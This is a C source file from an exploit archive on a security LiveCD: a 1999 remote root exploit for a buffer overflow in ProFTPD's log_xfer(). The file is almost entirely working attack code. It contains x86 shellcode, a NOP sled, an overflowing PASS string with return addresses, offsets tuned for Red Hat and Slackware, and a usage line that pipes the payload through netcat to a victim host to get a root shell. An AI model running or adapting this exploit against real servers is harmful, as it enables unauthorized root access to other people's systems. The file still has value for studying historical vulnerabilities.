home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / SDI-proftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  182 lines

  1. /*
  2.  * SDI linux remote exploit for ProFTPDpre[1,2,3]
  3.  * Sekure SDI - Brazilian Information Security Team
  4.  * by c0nd0r <condor@sekure.org> - Sep/99 (tudo na paz!)
  5.  *
  6.  * Exploit for the ProFTPD log_xfer() buffer overflow -- it will spawn a
  7.  * shell owned by root.
  8.  *
  9.  * HOWTO: unlikely the other recent FTP vulnerability, this one doesn't
  10.  * need a writeable directory. You just got to have permission to
  11.  * download a file (like welcome.msg or README). Don't forget to install
  12.  * our favorite network tool -- NetCat.
  13.  *
  14.  * Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
  15.  *         vader, fcon, slide, corb, Soft Distortion and specially to
  16.  *         my sasazita!  Also lots of thanks to toxyn.org,
  17.  *         pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
  18.  *         #uground (brasnet), #sdi(efnet), #(phibernet).
  19.  *
  20.  * usage: SDIpro -p <your ip> [-f <file>] [-a <align>] [-o <offset>]
  21.  *        where <your ip> is your ip separated with commas (127,0,0,1)
  22.  *              <file>    is the remote file to download
  23.  * example: (./SDIpro -p 27,1,1,4 -a 2;cat) | nc www.victim.com 21
  24.  *
  25.  * Values: Redhat (alignment 2 - offset 0)
  26.  *         Slack  (alignment 0 - offset -300)
  27.  *
  28.  * Warning: We take no responsability for the consequences on using this
  29.  *          tool. DO NOT USE FOR ILICIT ACTIVITIES!
  30.  *
  31.  * Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
  32.  * de seguranca - BOS-BR <bos-br-request@sekure.org>.
  33.  * http://www.securenet.com.br - novo portal de seguranca brasileiro.
  34.  */
  35.  
  36. char shellcode[] =
  37.   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39"
  38.   "\xf3\x7c\x07\x80\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
  39.   "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e\x31\xc9\xb0\x27"
  40.   "\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80"
  41.   "\x31\xc0\x88\x46\x03\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09"
  42.   "\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
  43.   "\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x95\xff\xff\xff\xff\xff"
  44.   "\xff\x43\x43\x30\x30\x31\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
  45.  
  46. #include <stdio.h>
  47. #include <unistd.h>
  48. #define TOTAL 940
  49.  
  50. int fork_port ( void);
  51.  
  52. int usage ( char *arg)
  53. {
  54.   printf ( "SDI remote ProFTPD exploit\n");
  55.   printf ( "usage: %s -p <local ip> -f <file > [-a <align>] [-o <offset>]\n", arg);
  56.   printf ( "where <local ip> is your ip separated with comma (e.g.200,30,1,20)\n");
  57.   printf ( "      <file> is any remote file available to download (eg. welcome.msg)\n");
  58.   printf ( "\nvalues: RedHAT - alignment 2 / offset 0\n");
  59.   printf ( "        Slack  - alignment 0 / offset -300/-200\n");
  60.   exit (0);
  61. }
  62.  
  63. main ( int argc, char *argv[] )
  64. {
  65.   char buf[2000], port[200], file[150], *pasv=NULL, *ff;
  66.   int x, y=0, offset=0, align=0, c, damn=0;
  67.   long addr=0xbffff450;
  68.  
  69.   while ((c = getopt(argc, argv, "a:o:p:f:h")) != -1)
  70.     switch (c)
  71.       {
  72.       case 'a':
  73.         align = atoi ( optarg);
  74.         break;
  75.  
  76.       case 'o':
  77.         offset = atoi ( optarg);
  78.         break;
  79.  
  80.       case 'p':
  81.         pasv = optarg;
  82.         break;
  83.  
  84.       case 'f':
  85.         ff = optarg;
  86.         break;
  87.  
  88.       case 'h':
  89.         damn = 1;
  90.         break;
  91.  
  92.       default:
  93.         damn = 1;
  94.         break;
  95.       }
  96.  
  97.   if (damn==1) usage ( argv[0]);
  98.  
  99.   if (pasv) snprintf ( port, sizeof(port), "%s,5,220", pasv);
  100.   else usage ( argv[0]);
  101.  
  102.   if (ff) snprintf ( file, sizeof(file), "%s", ff);
  103.   else strcpy ( file, "welcome.msg");
  104.  
  105.   if ( fork() == 0) fork_port();
  106.  
  107.   addr += offset;
  108.   fprintf ( stderr, "\nALIGN %d (use alignment 2 for RedHAT)\n", align);
  109.   fprintf ( stderr, "OFFset %d\n", offset);
  110.   fprintf ( stderr, "RET 0x%x\n", addr);
  111.   fprintf ( stderr, "RETR %s\n\n", file);
  112.  
  113.   for ( x = 0; x < ((TOTAL+align)-strlen(shellcode)); x++)
  114.     buf[x] = 0x90;
  115.  
  116.   for ( ; y < strlen(shellcode); y++, x++)
  117.     buf[x] = shellcode[y];
  118.  
  119.   for (  ; x < 1016; x+=5)
  120.     {
  121.       buf[x  ] = (addr & 0x000000ff);
  122.       buf[x+1] = (addr & 0x0000ff00) >> 8;
  123.       buf[x+2] = (addr & 0x00ff0000) >> 16;
  124.       buf[x+3] = (addr & 0x00ff0000) >> 16;
  125.       buf[x+4] = (addr & 0xff000000) >> 24;
  126.     }
  127.   printf( "USER ftp\n");
  128.   sleep(1);
  129.   printf ( "PASS %s\n", buf);
  130.   sleep(1);
  131.   printf ( "PORT %s\n", port);
  132.   sleep(1);
  133.   printf( "RETR %s\n", file);
  134.   sleep(1);
  135. }
  136.  
  137. #include <netinet/in.h>
  138. #include <netdb.h>
  139. #include <sys/types.h>
  140. #include <sys/socket.h>
  141.  
  142. int fork_port ( void)
  143. {
  144.   struct sockaddr_in sa;
  145.   struct sockaddr_in ca;
  146.   int sd, cd, lx, len=0, n=0;
  147.   char outbuf[5000];
  148.  
  149.   bzero ( &sa, sizeof(sa));
  150.   sa.sin_family = AF_INET;
  151.   sa.sin_port = htons(1500);
  152.   sd = socket ( AF_INET, SOCK_STREAM, 0);
  153.   lx = bind ( sd, (struct sockaddr *) &sa, sizeof(sa));
  154.   if (lx<0)
  155.     {
  156.       perror("bind");
  157.       exit(0);
  158.     }
  159.   lx = listen ( sd, 5);
  160.   if (lx<0)
  161.     {
  162.       perror("listen");
  163.       exit(0);
  164.     }
  165.   // fprintf ( stderr, "waiting for the incoming file\n");
  166.   len = sizeof(ca);
  167.   cd = accept ( sd, (struct sockaddr *) &ca, &len);
  168.   if ( cd <= 0)
  169.     {
  170.       perror("accept");
  171.       return(0);
  172.     }
  173.   while ( (n = read ( cd, outbuf, sizeof(outbuf))) > 0)
  174.     //   fprintf ( stderr, "=> %s\n", outbuf);  /*only for debugging*/
  175.     if ( n > 0) fprintf ( stderr, "file received\n");
  176.   close ( sd);
  177.   close ( cd);
  178.   sleep(1);
  179.   printf ( "uname -a; id;\n");
  180.   exit(0);
  181. }
  182. /*                    www.hack.co.za              [2000]*/